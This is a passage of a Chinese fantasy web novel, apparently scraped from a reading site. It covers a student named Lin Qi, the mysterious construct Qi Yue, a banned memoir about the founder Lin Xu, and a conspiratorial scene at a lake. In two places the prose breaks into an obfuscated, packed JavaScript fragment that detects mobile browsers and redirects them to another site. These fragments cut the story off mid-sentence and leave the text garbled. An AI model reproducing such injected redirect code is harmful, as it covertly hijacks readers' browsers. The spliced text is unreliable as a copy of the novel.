林栖也沉默着,睫毛低垂,脸上看不出什么表情。 许慎行难得没插话,只是皱眉看着几人。 蒋星落目光像在巡视,依次扫过几张年轻稚嫩的脸,片刻,温声道:“很难开口是不是?这样吧,不用回答。你们中间,如果有谁愿意跟乐贤坐在一起,就向前一步。” 沐夏顿觉嗓子发干发痒,使劲想着,只是坐一起也不会怎么样,而且都是假设……还有祈院呢,不会真的放着学生不管,而且乐贤很有天赋,就这样走了真的可惜…… 他身体前倾,脑子里决定了要迈出一步,但一秒过后,却发现自己只是晃了一下上半身,脚底板就像糊了强力胶水一样,粘在地上纹丝不动。 不是的,不是这样,他是愿意帮乐贤的…… 蒋星落目光停在沐夏身上,眼中笑意渐渐明显。许慎行左右看看,撇着的嘴巴瘪了瘪,正要说话,余光却见旁边有人动了。 一道很轻的脚步声落在地毯上,林栖缓缓向前一步,站了出来。 蒋星落捕捉到这点动作,视线朝林栖转了过来,许慎行则闭上了张开一半的嘴,把刚提起的一口气又缓缓吐了出去。 这一刻,林栖脑子里的想法很简单:不要动,不要引人注意,不要和别人不一样。 但同时,他心底又响着另外一种声音,像是齿轮转动,有一种无形的力量在推。 感觉自己成了一只铁皮玩具,只要上了发条,就一定会向前迈步。 因为真正让他往前走的,不是薄铁皮凹成的这一双腿,而是背上那根张着小翅膀的发条。 蒋星落的声音像一阵暖风,从办公桌后拂来,“很勇敢,你叫林栖对么?不过我看到你也受伤了,还疼吗?” 林栖觉得周围有种沉闷的静,被叫到名字时,耳边几乎嗡了一声。 他抬高视线,看向对面那位校长,听到自己的声音仿佛从远处传来,“我愿意和乐贤坐在一起,所以他能留下来吗?” 空气静了一秒,紧接着—— “我!我也愿意!”沐夏的声音忽然炸了起来,仿佛林栖的话是一根引线,不小心点着了受潮的炮仗。 说着,沐夏眼神发飘地往前迈了一步,可能鞋底胶水太黏,他挣脱时没收着力,步子跨得太大,比林栖多站出去半个身子。 不过很快,他就意识到自己身边没人,空荡荡的,于是本能又往后退了半步,余光瞥着林栖,跟他并排站好。 他心情有点激动,很希望林栖能看他一眼,互相交换一个鼓励的眼神,但林栖只是平静地目视前方,脸上几乎没有任何表情。 他盯着林栖侧脸看了看,忽然觉得林栖这样很帅,于是也跟着平复表情,朝前站好。 想象中,两人肩并着肩,帅得整整齐齐。 另外一边,傅明熙和安薇只是站着,不说话,也不表态。 蒋星落看向安薇,正要再说什么,许慎行却抢先一步开口,朝林栖和沐夏道:“刚好,乐贤坐中间,你们两个一边儿一个,问题就解决了。” 说完,他眼皮一抬,继续堵在蒋星落前面开口,“行了,该问的都问完了,安薇,傅明熙,还有林栖、沐夏,你们四个,都去外面等着。” 校长室隔音很好,走廊上完全听不到里面任何声音。 以房门为中心,傅明熙和安薇站在左边,林栖和沐夏站在右边。 林栖左边是门,右边是沐夏,背后是墙,祈越站在对面,跟他隔着走廊。 走廊安静有回声,让人不敢大声说话。 沐夏忽然凑近林栖,想跟他悄悄说点什么,林栖默默偏头躲开,沐夏盯着林栖耳朵,又往前凑,于是林栖再躲,连上半身也偏向一边,整个人几乎弯成半个括号。 冷淡的少年嗓音忽然响起:“你们两个是耳背吗?” 沐夏第一时间其实没懂祈越在说什么,只是被声音吸引了注意力,林栖则趁机往旁边挪了两步,半只小括号顺利恢复成了一条竖线。 “什么?我没听清。”沐夏看着祈越,微微往前探着身子,一双不太大的眼睛闪闪发亮,对和顶级造物聊天充满热情。 林栖看了看自己和沐夏间的距离,略一犹豫,就走到对面,站到了祈越旁边。 他保持了一米距离,忍不住想,如果沐夏也跟过来,直接站到这一米中间,会怎么样? 祈越是会躲开,还是把人骂走? 正想着,就听祈越低低说了一声:“果然耳背。” 沐夏没听清似的眨了下眼。 就在这时,一道光从紧闭的门里泄出,许慎行走了出来,脸色黑得像根朽木,显然和校长聊得不算愉快。 好消息是,校长同意乐贤留下,他们此行的目的达到了。 许慎行把几人分别送回住处,别墅区和公寓区有些距离,一路上,傅明熙看都没看林栖一眼,即使林栖凑巧出现在他视线范围,他也会将目光移向远处,不在林栖身上逗留。 直到两边分开,林栖跟着许慎行走远,他才转动视线,瞥着林栖背影,厌烦地皱起眉头。 许慎行先送安薇,又把林栖他们送到楼下,分别时,在沐夏头顶拍了拍道:“行了,赶紧回去。” 拍完又很欣慰地看了林栖一眼,冷脸责备:“还有你,别把侵蚀不当回事,谁让你跟乐贤坐一起了?” 沐夏在旁边嘿嘿笑,一对小虎牙闪闪发亮,双手握拳,在胸前挥了挥,好似一只水獭捏着小鱼干晃。 “太好了,乐贤不用走了。” 这句话他说了一路,又念叨着爬完了七楼,跟着林栖到了701门口,不走,一副还打算再说五百年的样子。 林栖站在门前,顿了顿,转身朝他挥手,“再见。” 啊? 沐夏看着一扇门在自己眼前关上,缓缓愣住,欢快的笑容在两颗小虎牙上凝固。 不过也只凝了短短一瞬就重新化开,他好心情地“哦”了一声,隔门朝林栖挥了挥手,“再见,再见,明天见——” 回屋之后,林栖去洗了手,慢吞吞地用毛巾擦干手指,心里有一句“可是”没说出口。 许慎行说,别把侵蚀不当回事,可是…… 侵蚀不会对外造成污染。 观沄很早就跟他说过,侵蚀按严重程度,分不同等级,林鹭的管家是二级,符合外城区最低标准,如果达到三级——全身侵蚀,就要离开整个学城范围,去其它限制更宽松的城市生活。 再往上还有四级——全身侵蚀+局部畸变。 畸变严重到一定程度才是五级,也就是——怪物。 观沄说,只有怪物才会对外产生污染,造成新的侵蚀。 所以哪怕乐贤达到四级,和他坐在一起也是很安全的。 可今天在校长室里,所有人的反应都默认接触侵蚀并不安全,也没人讨论这个问题,似乎把它当成了一种常识。 林栖以前觉得,所有人都认可的才叫常识,现在才知道,原来常识和常识也不一样。 上城区有自己的常识。 林栖想再问问观沄,但现在没有观沄,只有祈越。 而一看到祈越坐在那里,他脑子里的问题就自动变成了……多重人格。 他拖着步子,慢吞吞走过去,希望不用自己开 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这期间他的意识处于深眠状态,对这具造物身体所经历的一切毫无所知。 但醒来后,当他重新控制身体,又会得到某种很模糊的反馈,知道对方在占用身体时大概做过什么。 比如,对方会修理那些他无法修复的造物,并为此外出寻找修复材料。 行动多和造物相关,且极少与人交流,祈越以前一直认为,这是某种“造物本能”。 但现在他不这样想了。 最近出现了很多反常情况,都发生在他遇到林栖之后。 他第一次见到林栖,是在店门外,这人用一种看怪物的眼神盯着他瞧。 第二次是在店里,林栖拿着别人的邀请进店参观,还说要找林叙作品。 第三次是补考期间,林栖受邀前来,而他告诉林栖,自己要跟他一起上学。 那些反常集中在第二次和第三次之间。 第一,他有一段长达三天的意识空白,这种情况前所未有,而且事后完全不知道对方占据身体做过什么。但根据后续情况,很容易推断出,林栖在这三天内来过店里。 第二,在这三天时间里,店主突然一反常态,对很多客人发了邀请。这些客人都在最近一个月内向店铺提过参观申请,但都不符合条件,而店主却让独角仙给所有人发了邀请函。 对这种情况他只能想到一种解释,店主要找近期来过店里的某位客人,但没有对方身份信息,只能通过这种方式筛选。 第三,同样在这三天里,店主破例给出许可,让参加补考的学生有机会进店选购造物。 似乎店主认为,他要找的客人很可能就在这些学生里面。所以,那位客人是一个符合入学标准的孩子,年龄在12-18之间。 第四,店主突然决定,让他以造物身份,跟林栖一起上学。 以及,昨天那种情况十分反常,不在35-45天的周期内,像是突然出了什么紧急状况,所以对方才会临时占用身体查看。 现在看来,这些异常状况或直接或间接,都和林栖有关。 祈越现在很想知道,这个人到底有什么特别? 他看着林栖开口,面色如常,丝毫看不出心里在想什么,“所以,多重人格有什么问题?” 林栖头顶缓缓冒出省略号。 你之前好像不是这么说的…… 片刻,他问:“为什么造物会有多重人格?” “这你得去问造物师,搞得什么抽风设定。”祈越语气和内容不符,听起来颇为正经,“而且,像我这种老古董,有点不正常也很正常吧?” 林栖:“?” “放心,我和我的那位‘多重人格’不会像幻灯片一样,整天切换来切换去。另外那个多少有点毛病,不会经常出来。” 林栖:“……?” 不等他再发问,祈越就转了话题,“你把昨天那句话再重复一遍。” “……哪句?” “就是我那位‘多重人格’说的,和触角有关的那句。” “藤蔓和触角?”林栖回忆道,“藤蔓和触角一样,主要功能都是探查而不是攻击。” 祈越垂眸,若有所思地“嗯”了一声。 片刻,他道:“看来,这次事件不是意外,怪物是有人故意放进来的。” “故意?”林栖似乎一时没能听懂这句话的意思。 “打个赌吗?”祈越侧眸,目光顺着狭长眼尾停在林栖脸上,“输的人告诉对方一个秘密。” 林栖:“……” 你到底懂不懂什么叫秘密? 32. 第 32 章 林栖没跟祈越打赌,但祈越好像觉得,没明确拒绝就算默认。 其实这几天不管走到哪里,都有人在谈论怪物。“怪物”两个字已经成了日常生活中的底噪。 林栖已经快脱敏了。 如果不特意听,几乎可以充耳不闻。 但因为这个莫名其妙的赌约,“怪物”两个字在他这里又被标了高亮,只要周围有人提起,总会下意识地竖起耳朵。 前几天的议论重点在于怪物有多恐怖,侵蚀有多可怕,但从周四晚上,也就是祈越提出打赌的第二天开始,林栖已经听到有人议论,说怪物是被人故意放进来的。 当天没过多久,沐夏就来敲门,跟他分享这个最新情报,还嘱咐他不要随便出门,更别单独行动,如果非要出去,就去叫他一起。 他说,很显然,有人要针对今年刚入学的新生,搞不好就是哪个学生家长,自己孩子没考上,就想用这种方式把人赶走,好让自己孩子进来。 经过一晚上发酵,到第二天,一群充满想象力的学生已经把事件真相推理出了几十个版本,有些学生甚至怀疑到任课老师头上,干脆请假,锁了门在屋里猫着。 到了周六,已经有一些住在上城区的家长闻风赶来,要求校方彻查,给所有人一个交代。 对此,校方没有明确表态,只说要先保证学生安全,现在的首要工作是排查隐患,防止类似事件再次发生。 校区依然处在封闭状态,这周末所有学生统一留校。 从第二周起,新生就要在各自院系开始上课,林栖在周日上午拿到了这学期要用的专业书、课程表和院系图书馆的借书卡。 “造物概论”每周一三五上午各一节课,所用教材为:《造物学》《造物艺术》《功能与审美》《造物赏析》。 “造物基础”每周一至周四下午各一节课,所用教材为:《造物工艺入门》《造物设计入门》《初级造物》《新编造物材料学》《初级造物经典案例赏析100例》。 “造物史”每周二和周四上午各一节课,所用教材为:《当代造物史》《造物200年》《造物与造物师》。 所有书都是新语写的,林栖抱着字典翻译书名,用古语写在便签纸上,等把所有书名翻译一遍,人已经快睡着了。 随便打开一本书,对着那些密密麻麻的小字看十秒钟,他就会感到大脑缺氧,如果连续看十分钟,大概就能直接晕倒。 一想到以后每天上课都要用到这些,林栖就有点不想活了。 但文盲不可能一夜之间学会识字。 现在不活也已经来不及了。 在努力了一个小时之后,林栖撑着沉重的眼皮起身,看向那张崭新的借书卡。 沐夏告诉他,造院图书馆有一整墙的古书。 之前林栖已经被公共课老师带着去过一次校图书馆,可惜借阅区所有图书都是新语,且和建校时期有关的内容很少。 他拿了最厚的一本书,对着字典查了几个小时,有关林叙的部分也只有短短几行,内容都是他已经听说过的。 之前凌壑想骗他来上学的时候就说过,学城有很多藏书,还包括许多珍贵古书,但没告诉他,那些书其实不在学校图书馆里,而在白塔——就是那座建在学城最高点上,塔尖永远亮着一颗银星的高塔。 白塔藏书区日常不对学生开放,特殊情况需要提前申请,且经过至少一位任课老师推荐,通过院长批准,再由白塔管理员审核通过,才能拿到借阅许可。 白塔同样收藏有林叙留下来的造物,但从借书流程就能想象,要看那些造物也要先写申请,再经过层层审核。 ……还是先去看看沐夏说的那面墙吧。 林栖准备出门时,祈越正在窗前看书。 这人似乎什么书都看得下去,比如现在,手里这本就是很厚很枯燥的《造物学》。 祈越似乎看得很投入,不管林栖在屋里弄出什么动静,都不会多抬一下眼皮,但只要林栖出门,他又会放下书,起身跟上。 大部分时候不说话也不靠近,只是隔着一米距离默默跟着,完全就是一道影子。 林栖几乎已经习惯了,但他今天去找古书,不想被人盯着,于是在出门前,下意识多看了祈越一眼。 祈越脚步一顿,目光在他身上扫了几下,“不想让我跟着?” 林栖:“……” 虽然但是…… 确实不想。 接着就听祈越淡淡“哦”了一声,抬起手,朝他晃了一下小指,“都把名字写在这儿了,现在又说不让我跟?” 他说话的语气比平时稍慢,配合着随意的站姿和眉梢眼尾的一点笑意,整个人隐隐透出一种不要脸的气质。 像个……无赖。 在脑子里跳出这个词时,林栖自己都惊了一下,随即想到祈越提出打赌时的态度,又觉得,自己好像惊得有点晚了。 “作为一个被你署名的造物,我不跟着你,如果出了事,该算谁的?” 祈越说话时,林栖正盯着他看,几乎眼睁睁看着这人敛起笑容,收起随意,就这么从无赖变成了优秀学生。 隔了一会儿,林栖觉得,这话其实很有道理,两个人一起行动,可以防止学校再找麻烦。祈越想得比他仔细…… “而且——”祈越再次开口。 林栖“嗯”了一声表示自己在听。 祈越继续把后半句话说完,“如果我不跟着你,要怎么监视你呢?” 林栖愣了一秒,才反应过来这句话的意思。 他站在原地,面无表情地静了片刻,然后道:“那就监视吧。” 他发现自己其实猜不透祈越在想什么,也分不清他哪句话是真的,哪句话是假的。 既然猜不透,那就不猜了。 随他去吧。 十分钟后,林栖和祈越一起到了造院图书馆门口。 进门处有管理员负责登记,林栖有借书卡而祈越没有,他看到门外走廊有长椅,朝祈越瞥了一眼,刚想说你可以坐在门口等着,刚好能从窗户继续监视。 就听管理员道:“你们新来的可能还不知道,咱们院里大部分地方,都能带造物进去。” 林栖转头看他,动作稍稍有点迟缓。 这位管理员微胖,笑起来脸颊两个酒坑,一边把借书卡还给林栖,一边苍蝇搓手地打量祈越。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627036|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当然也分情况,有些造物确实不适合带到室内,但你这件肯定可以。你们直接往里走,走到底,上二楼,二楼人少,窗户前面有条过道,顺着走到底,还有几个位子,那边是过期杂志,一般都没什么人去。” 言下之意很明显,如果林栖直接把祈越带到图书馆里,找个人多的地方坐下,大概率会遭人围观。 林栖道了谢,在管理员热切的目光中上了二楼,他打算先把祈越“寄存”在过期杂志那里,再去找沐夏说的那面墙。 二楼确实人少,放眼望去只有两三个,看身形明显是高年级的学生。 林栖顺着窗前过道往里走,还没几步,忽然就听有人压着嗓子叫了一声:“林栖!” 沐夏从一摞书后面仰起头,一脸高兴地朝他招手。 好吧…… 林栖在心里默默放弃计划,打算等下次再找想要的书,但走到沐夏桌前却愣了一下。 沐夏手边放着一本书,名叫《启明星的陨落——回忆我所认识的院长林叙》。 “哦,这个。”沐夏发现他在看,主动又拿起另外一本,“这两本是一样的,一个古语一个新语,我拿着是想对照一下两版插图,已经看完了,你看吗?新语这本给你。” 书直接递到手边,林栖接了,目光落在桌上,“我也想对照一下插图。” “那你看吧,就坐我这儿,老版插图确实更好一点,我再去拿几本书,顺便搬个凳子过来,我们一起。” “谢谢,不用麻烦,我能拿到那边看吗?”林栖指着走廊尽头,“我想找点过期杂志。” “可以啊,那你看吧,我晚点儿过去找你。” 管理员说的位置果然僻静,左右立着几个杂志架,中间空了两张桌子,不过再往后就是工具间,旁边没窗,稍显沉闷。 林栖把书放在桌上,从桌下拉出凳子。折凳支脚在深灰色的地毯上发出一点空闷的摩擦声。 同时,对面也传来了同款声响。 当响声停止,两人在同一张桌子的两侧相对而坐。 桌面宽度显然不到一米。 林栖忽然想说:你坐得是不是有一点近? 他只是想想,祈越却直接开口:“那我挪开,让你那个同学坐在这里?” 确实,一张桌子标配两个座位,如果祈越不坐,待会儿沐夏就会坐在这里。 林栖被拿捏了。 算了,随便吧。 他把两本书同时翻开,扉页上的第一张图是一幅套色版画,印着两棵并肩而立的树。树还很小,没经历过风雨摧蚀,枝干挺拔秀丽,明亮的金橙色叶片像团扇一样张开。 两本书上用了同一张图,但古语那本已经明显褪色,光感像是黄昏。 图下搭配的文字是手写体,因为印在扉页,总被翻动,又年代久远,字迹已经有些斑驳—— [金隐和月升,是老师亲手种下的树。关于这两棵树,还有一段趣闻,据说老师和友人打赌,输的人要亲手种一棵树,老师连输两次,所以种了两棵。我们都很好奇赌了什么,居然能叫老师连输两次。但老师总不肯说,问多了还要瞪眼,于是同学猜测,大约是赌早起,那老师确实必输无疑。] 33. 第 33 章 书很薄,应该很快就能翻完。 林栖看完第一张插图,从书页上抬起视线,看到了支在桌对面的手肘,再往上,是一段清瘦的腕骨,以及撑在手指关节上的瘦削下颌……然后就是略微下垂的睫毛和那双深红色的眼睛。 祈越正在对面看他。 两边就是杂志架,随手抽一本就能假装在看,但祈越没有,就这么无所事事地坐着,毫不掩饰地盯着他瞧。 林栖:“……” 后悔了。 还不如让沐夏坐在这里。 他默默收回视线,只当对面是一盏瓦数有点大的台灯,只要你不看它,就不会觉得灯泡特别晃眼。 他把两本书同时往后翻,寻找下一张插图,这时就听对面那盏台灯开口:“看得这么快?” 图书馆安静,加上位置偏僻,连翻动书页的声音都脆得像在油里炸过,近距离的人声就更像是直接从耳机里传出来的。 带着一点沉闷而空旷的回响,清晰到令人炸毛。 话里那一点意有所指也像狗尾草上的芒刺一样,沾到手上就痒。 看插图只需要一眼,是无所谓快不快的,祈越是在说他看字看得很快。 但祈越知道他会古语,为什么还要在这个问题上…… 林栖手上动作没停,这时刚好翻到第二张插图,于是心思被拉回来,立刻忘了自己前一秒钟在想什么。 这张插图配色十分惹眼,深邃的蓝色背景上画着一只朱红色的金鱼。金鱼张着鱼鳍,悬在半空,周身裹着一团暖黄色的光晕,似乎是只灯笼,但没有提线也没有手柄,看不到放蜡烛的位置,鱼脸上的表情也十分生动。 下方配文依然是手写体—— [这只金鱼灯是老师做的原版,后来很多同学都复刻过。我也做过,不过不太成功,只能让胆子特别大的同学尝试。] [我们上一届有个学生名叫小鱼,特别怕黑,晚上不敢去上厕所。怕上厕所,所以不敢喝水,嘴唇总是干裂出血。于是老师就做了这个金鱼灯。] [金鱼灯会随着人的气息游动,呼吸越重,灯光越亮。如果比赛肺活量,它大概会蹲在第一名的头顶。在白天,这是一只只会游来游去的大胖金鱼,偶尔还很碍事,但到了晚上,当所有孩子都睡下了,它总能根据呼吸轻重,找到那些睡不着的孩子,留在他们房间照亮。如果哪个孩子半夜起床,也会第一时间被它找到。] 看完之后,林栖忍不住想,那个名叫小鱼的学生,有没有在晚上跟着金鱼灯一起出去过呢? 呼吸越重,灯光越亮……那他可能会抱着那条金鱼大声喘气。 林栖唇角无意识地向上扬起,继续向后翻,视线掠过那些印刷体的纯文字页…… 等等,他是不是忘了什么? 疑问刚刚冒头,他就翻到了下一张图——配色明媚,背景一半蓝天,一半绿草,一棵大树枝繁叶茂。树枝上坐着一个头发乱蓬蓬的女孩儿,很瘦,一张脸小得像猫,把眼睛衬得很大,精灵一样。那是一双很漂亮的眼睛,只是眼神有些茫然,似乎不知道该看哪里。 她的白裙子从树枝上垂下来,很好看,但裙子里是空的。 她没有腿。 [这个孩子名叫喵喵,是学校最早的一批学生,入学时只有六岁。喵喵双腿畸形,发育程度几乎和刚出生的婴儿无异。她不能走路,以前在荒丘时,会把自己藏在铁皮桶里,四下无人时,再带着这只小桶一起移动。欺负她的孩子只要看到她,就会把她从铁皮桶里拖出来,嘲笑她,叫她寄居蟹,又热衷于给她换壳。] [后来,老师为她做了一对造物翅膀。于是这个从来不会走的孩子,学会了飞。] [不过这双翅膀也闹过许多笑话,老师曾为此连夜拆了所有教室里的吊扇,防止她又挂在上面飞不下来。] 这一页的后面还有一张插图,是一张手绘的翅膀,只有线稿,没上色。 [我最后一次见到喵喵是在照片上,那时的她已经看不出任何人类特征,但我认得那双翅膀。纯白的翅膀被畸形的身体组织包在中间,和怪物肢体融在一起。我想,她直到失去作为人的最后一点意识,都没有丝毫怀疑过自己的老师。某种意义上,这也是一种幸运。] 林栖翻页的手颤了一下,不小心跳过中间,翻到了最后一页。这页插图是手绘的学生合影,空白处标注了每个人的名字。 下方,手写的字体比之前更显潦草—— [在出事之前,我们所有人都很信任老师。] [谁又能不信任呢?] [我常在噩梦惊醒时想,如果世上真有恶魔,应该就是老师这样的人吧,轻而易举地玩弄人心,摧折人心……] “啊,你看完了?”沐夏的声音忽然响起,林栖甚至没听到他是什么时候走过来的。 “是不是老版插图更好?尤其是后面几张,比新版清晰多了。”沐夏走过来看了一眼,把手里的几本书放在隔壁桌上,又折回来,将那本新版书也翻到最后一页,指着给林栖看,“这张特别明显,新版都看不清人脸,旁边的字也是糊的。” “确实。”林栖应了一声。 “我听说,这张照片上的人大部分都失踪了,变成怪物,最后也没找到。”沐夏感慨地推了推眼镜,“对了,这本书你以前没看过吧?外面书店都见不到,校图书馆也没有,只有咱们院有。” “为什么?”林栖问,注意力还没完全从书上出来,有些不太集中。 “其实这也算是‘禁书’。”沐夏挠了挠头,“虽然……写得也是事实吧,但个人感情色彩太浓烈了,很容易影响读者,能看出来,作者真的很崇拜……嗯,很怀念林叙。啊不是,你别误会,不是洗白,他用的是另外一种方式……” 沐夏挠挠头,尝试组织语言,显然,比起说,他更擅长看。 “你还没看内容,那我跟你简单说一下吧,其实它就是……大半本书写的都是很具体的日常小事,都是林叙对学生怎么怎么好……其实我们经常能听见有人说那些学生笨,没看出林叙是坏人,被骗也活该,但其实不是的,看过这本书就懂了,真的很难不被骗,反正我不行,如果有一个老师对我那么好,我肯定也很喜欢他,很相信他。” 沐夏又挠挠头,“然后……看完前面,再看后面那些学生的结局,就……真的……特别可怕,毛骨悚然,我看的时候鸡皮疙瘩都起来了,所以这本书也还是很有警示意义的吧,我觉得还是很值得看的……” 沐夏说着说着,发现好像把自己绕进去了,如果能起到警示作用,那干嘛还要禁呢? 在他思考时,林栖又朝摊开的书页上看了一眼,那张插图下方的最后一行字是—— [可我依然希望,某天醒来,有人能告诉我,一切都是假的。] “你还看吗?”沐夏指着两本书问,“不看我就先放回去,院馆也就这两本了,平时都藏着,一般人找不到,我也是问了别人才知道的。” 林栖摇了摇头,于是沐夏就把两本书都收起来了。 林栖记住了他藏书的位置,打算下次自己单独来看。 还有那一面墙的古书。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16642214|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今天有沐夏在旁边,他只找了几本图册来看,其中一本刚好有金鱼灯的照片。 虽然不识字,但看年份也知道,都是后来做的复刻。 林栖只在图书管待了一个小时就回去了,而沐夏一直等到闭馆才走。 临睡前,沐夏过来敲门,很兴奋地跟他说,乐贤回来了,明天可以正常一起上课,让他放心,又嘱咐他早点睡,记得早起,上午是许院长的“造物概论”,千万不能迟到。 以及,上课能带造物,教室里有专门的存放区。 入夜,林栖躺在他的小床上,看着挂在床柱上的围帐,还在想着那本书上的插图。 不知道现在的造院还有没有金鱼灯? 如果有,他觉得那只胖金鱼今晚应该会来找他。 窗外,白塔顶端银星闪耀,璀璨到让人有些失眠。 学城原本叫作荒丘,是一片丘陵,在中心区地势最高的几座丘陵之间,有一片湖。 不管从哪个角度,总能看到湖中倒映白塔上的银星,加上天气好的时候,常见星落满湖,因此又叫“落星湖”。 午夜静谧。 湖心停着一叶小舟,一道单薄人影坐在船尾。 片刻,有风吹皱水面,船头凭空向下一沉,像是有人登船,却又不见人影。 阴冷潮湿的嗓音在风中响起:“那个林栖,是林家人吗?” “我看不像。” “不管是不是,总要知会那边一声。” “那你去?又没人拦着。” 一阵沉默,空气中传出黏腻的水声。 昏沉月色下,湖面反光在船头照出一道影子,像透明的蜡烛,因融化而显得扭曲。 在月光照不到的角度,依稀能看到一张人脸,嘴缝一直裂到耳根。 “你不必这样跟我说话,我只是在提醒你,那边会很乐意知道这个消息,你办事得力,也会更受器重。” 坐在船尾的人影笑了一声,“给一个十年没吃饭的人上一桌山珍海味,结果拿起筷子才发现,菜是馊的,是你会怎么想?——哇~好感动,这是厨子对我的一片真心?” 那张裂开的嘴巴缓缓蠕动,看不见的牙齿上下磨着,发出咯咯声响,“你怎么敢这样说话?” “过奖了,是你要拿一桌馊菜邀功,我觉得,还是你比较敢想。” 磨牙的声音更加明显,“这件事一直没有进展,对你也没好处。” “我不想要好处,只要别是坏处就行。” 短暂沉默后,湿冷的声音再次强调,“可他姓林。” “好~姓林~去吧,把他抓去邀功,凑够一百个姓林的笨蛋,说不定真能负负负负负负得正,变出一个天才。” 咯咯声伴随着透明身影扭曲变形,有什么东西贴着船板滑动,落下粘稠的“嗒嗒”水声。 潮湿的嗓音似乎有些气恼,“那你说,该怎么办?” “还能怎么办?我早说过,不能杀鸡取卵。鸡都快被你们杀完了,现在连鸡蛋也不放过,林家人就算再有本事,也不能从坟墓里爬出来,给你们再生几个天才。” 月影下,一张透明面孔越发扭曲,几乎要从面颊皮肉中透出一排细密交错的獠牙。 片刻,船头晃了一下,继而向上翘起。 一片水滴洒向湖面,溅起一阵水花。 某种黏腻无形的事物从水中远去,小船周围,破碎的月光逐渐平复完整。 船尾处的人影垂手拨弄,将它重新搅碎。银色浮光掠过他年轻漂亮的眉眼,映出眼底一抹笑意。 34. 第 34 章 周一早上。 第一节造物概论课上午八点开始。 助教老师程明提前二十分钟就到了教室。 他坐在一进门的位置,翻开崭新的点名册,按了按拴在册子上的圆珠笔,熟练地抠掉圆珠上的封蜡,在日期栏里用力试了几下。 造物学院主教学楼造型圆润,四面又贴着棕黄色的墙砖,像一个刚烤好的山形吐司,但个头太大,火候不怎么均匀,边角凸起的位置烤糊了,某些低洼处又还没烤透。 今年新生用的教室位于整栋教学楼的东南角,是一个相对独立的三层空间,本名“一号工房”,和普通教室相比,布局更接近于艺术工作室。 一楼是材料和设备区,二楼是实践教学区,三楼是理论教室和天光教室。 教学楼内部结构有些复杂,要去理论教室主要有三条路线。 第一种是走教学楼大门,爬正常楼梯,沿露天走廊绕到东南角,找到一扇没有牌子的小门,这是教室后门。 第二种是从一楼东南角的工作室后门进去,穿过材料区,从消防梯直接爬到三楼,绕过天光教室,挂着303号门牌的就是理论教室。 第三种最直接,还是从工作室后门进去,但不走直梯,走正中间的旋梯,上去再走十米就到。 但这条路线有个问题,旋转楼梯不是一般的楼梯,它本身是一件中级造物,远看是一棵姿态十分妖娆的树,整体成螺线形,中心是两根拧成麻花的主干,一黑一白,向外长出黑白交错的枝杈,共同组成了楼梯和扶手。 它像是盘旋的黑白琴键,兼具使用功能和视觉美感,又很有造物学院特色,唯一的问题是……它感情有点丰富。 白色树枝长着柔软的羽状叶片,心情好的时候,叶片是暖色,心情不好则会变成冷色。 当白色树枝心情不好,黑色树枝就会“炸毛”,到处长刺。 刺是钝刺,倒是不会把人扎伤,但踩上去还是会有种足底按摩般的酸爽。 教室有三排桌子,每排八张,按现在的招生人数,会空一半以上。 七点四十五分,沐夏第一个进了教室。 第二个是安薇。 七点五十五分,十个学生只到了四个。 助教程明坐不住了。 他起身拉开抽屉,拿出一本标本册,打开来,抖了抖。书页间陆续掉出几只蝴蝶标本……哦不对,是蛾子。 几只紫红色的大蛾子。 仔细看,蛾子是折纸做的,纸张材质特殊,有种毛绒绒的质感。 他从中挑出六只蛾子,在它们压平的肚子上快速捏了几下。扁扁的肚子变圆,纸蛾子瞬间“活了”,抖了抖粗粗的“眉毛”,展翅飞起。 其中四只直接飞出窗户,去了院外,另外两只则留在工房内部,出门飞向走廊。 程明没管那四只蛾子,跟着两只蛾子一起出门,果然,没走两步,就见旋转楼梯叶子一片碧绿,显然心情不好。 两只蛾子慢悠悠地往下飞。程明趴在楼梯口,向前探了探身,就见一楼旋梯入口处站着几个学生。 是林栖、乐贤,还有林栖的那个顶级造物。 “林栖——”程明冲下面招了招手。 林栖抬头看人,一只紫红色的大蛾子刚好飞到眼前。 金属丝凹成的小爪子在自己身上扒拉扒拉,触动机关,“啪”的一声,弹出一道迷你条幅,晃悠悠地挂了下来,随风招展。 条幅白底红字,写的是——快点!要迟到了! 林栖:“……” 乐贤:“?” 祈越:“。” 大蛾子的造物师本人,也就是程明在楼上笑了两声,“早知道你们这么近,我就不放它们出来找了。” 说话间,大蛾子抖抖翅膀,金属小爪子扒拉着,蜘蛛收网一样收起细细的吊线,把条幅往上拉高,然后抱起两端,像卷画轴似的,噌噌蹭地把它卷了回去。 “你们先别动,等一下再上楼。”程明说着,往旁边的楼梯口挪了两步,看着那些碧绿碧绿的叶子,静了两秒。 然后就见他原地站直,两眼一闭,梗着脖子开始唱歌:“我是一只小笨鸟!我身上没有毛~~我是一只小笨鸟!我走路会摔跤~~” 他唱得很大声,很卖力,同时又夹着嗓子,在工房里有种环绕立体声的效果,不能用好听或不好听来评价,总之,有一种不顾别人死活也不在乎自己死活的美。 林栖呆站着,缓缓眨了一下眼睛。 乐贤被触发了某种被动,只听两句,就把双手举到胸前,开始鼓掌,一边鼓掌还一边跟着拍子点头。 祈越往旁边偏了偏头,似乎担心自己会隔空染上什么大病。 程明还在闭着眼唱,仿佛某种必须唱完一整首歌才能暂停的儿童玩具,“嗷呜嗷~~小笨鸟!嗷呜嗷嗷嗷~~我是一只小笨鸟!我爱睡觉觉~~睡~觉~觉~” 